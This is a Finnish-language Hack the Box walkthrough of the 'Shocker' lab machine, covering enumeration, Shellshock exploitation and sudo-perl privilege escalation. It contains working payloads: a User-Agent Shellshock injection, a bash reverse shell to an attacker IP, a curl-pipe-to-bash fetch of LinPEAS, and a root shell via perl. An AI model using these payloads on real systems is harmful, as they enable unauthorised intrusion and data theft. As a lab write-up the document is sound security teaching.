Hack the Box: Shocker

Ensimmäisenä toimenpiteenä lisätty /etc/hosts -tiedostoon kohteen IP-osoite 10.10.10.56 vastaamaan osoitetta: shocker.htb.

User flag

Nmap-skannauksesta huomataan, että kohteessa on avoinna TCP-portit 80 (HTTP) ja 2222 (SSH). Kohteessa on Linux-käyttöjärjestelmä.

nmap -sVC -T4 -p- shocker.htb

Selaimella aukaistu osoite: http://shocker.htb/. Sivulla ei ole muuta sisältöä kuin yksi kuva.

Gobusterilla tehty hakemistoskannaus kohteeseen, ja huomataan hakemistot /.htaccess, /.htpasswd, /cgi-bin/ ja /server-status, joihin ei ole käyttöoikeutta (status: 403).

gobuster dir -u shocker.htb -w /usr/share/wordlists/dirb/big.txt

Gobusterilla tehty lisäksi hakemistoskannaus hakemistoon /cgi-bin/ ja etsitty hakemistosta Bash-, Perl- ja Python-skriptejä lisäämällä komentoon tiedostopäätteet sh, pl, py.

Gobuster löysi saatavilla olevan Bash-skriptin user.sh (status: 200).

gobuster dir -u shocker.htb/cgi-bin/ -w /usr/share/wordlists/dirb/big.txt -x sh,pl,py

Selaimella aukaistu osoite: http://shocker.htb/cgi-bin/user.sh ja ladattu user.sh skripti hyökkäyskoneelle.

user.sh skriptissä oli sisältönä: “Just an uptime test script”.

cat user.sh

Koska kohteen HTTP-palvelimessa on CGI-skripti käynnissä, tarkistettu Nmap NSE-skriptillä onko kohde haavoittuva Shellshock-hyökkäykselle. Syötteestä nähdään, että kohde on haavoittuva (CVE-2014-6271).

nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh shocker.htb

Kuinka hyödyntää kyseistä haavoittuvuutta: https://github.com/opsxcq/exploit-CVE-2014-6271

Burp Suitessa siepattu osoitteen http://shocker.htb/cgi-bin/user.sh requesti ja lähetetty Repeater-välilehdelle.

Requestin User-Agent -kenttään sijoitettu payloadi:

 () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd' 

Lähetetty requesti ja onnistuneesti suoritettu komento:
cat /etc/passwd

Hyökkäyskoneessa käynnistetty Netcat-kuuntelija porttiin 443 reverse shellin muodostamista varten.

nc -lvnp 443

Tehty Bash reverse shell käyttäen hyökkäyskoneen IP-osoitetta ja porttia 443:

/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1

Muokattu User-Agent -kenttään payloadi:

() { :; }; echo; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'

Requestin lähettämisen jälkeen Netcat-kuuntelijassa onnistuneesti saatu shell kohteeseen käyttäjänä shelly.

User flag löytyi hakemistosta: /home/shelly.

Root flag

Käytetään avuksi LinPEAS -työkalua, jotta löydetään kohteesta keinoja saada root-oikeudet.

Hyökkäyskoneessa käynnistetty Python HTTP-palvelin porttiin 80 samassa hakemistossa, jossa tiedosto linpeas.sh sijaitsee.

python3 -m http.server 80

Kohteessa ladattu tiedosto linpeas.sh hyökkäyskoneesta ja suoritettu skripti.

curl 10.10.14.7/linpeas.sh | bash

LinPEAS:n tuloksista huomataan, että käyttäjä shelly voi suorittaa kohteessa binääritiedoston /usr/bin/perl sudona ilman salasanaa.

GTFOBins:sta haettu komento, jolla on mahdollista saada root-oikeudet, jos binääritiedosto perl on sallittu suorittaa sudona.

sudo perl -e 'exec "/bin/sh";'

Onnistuneesti saatu root-shell kohteeseen.

Root-flag löytyi hakemistosta: /root.

Kohteeseen on myös mahdollista saada jalansija käyttämällä Metasploit-moduulia: exploit/multi/http/apache_mod_cgi_bash_env_exec.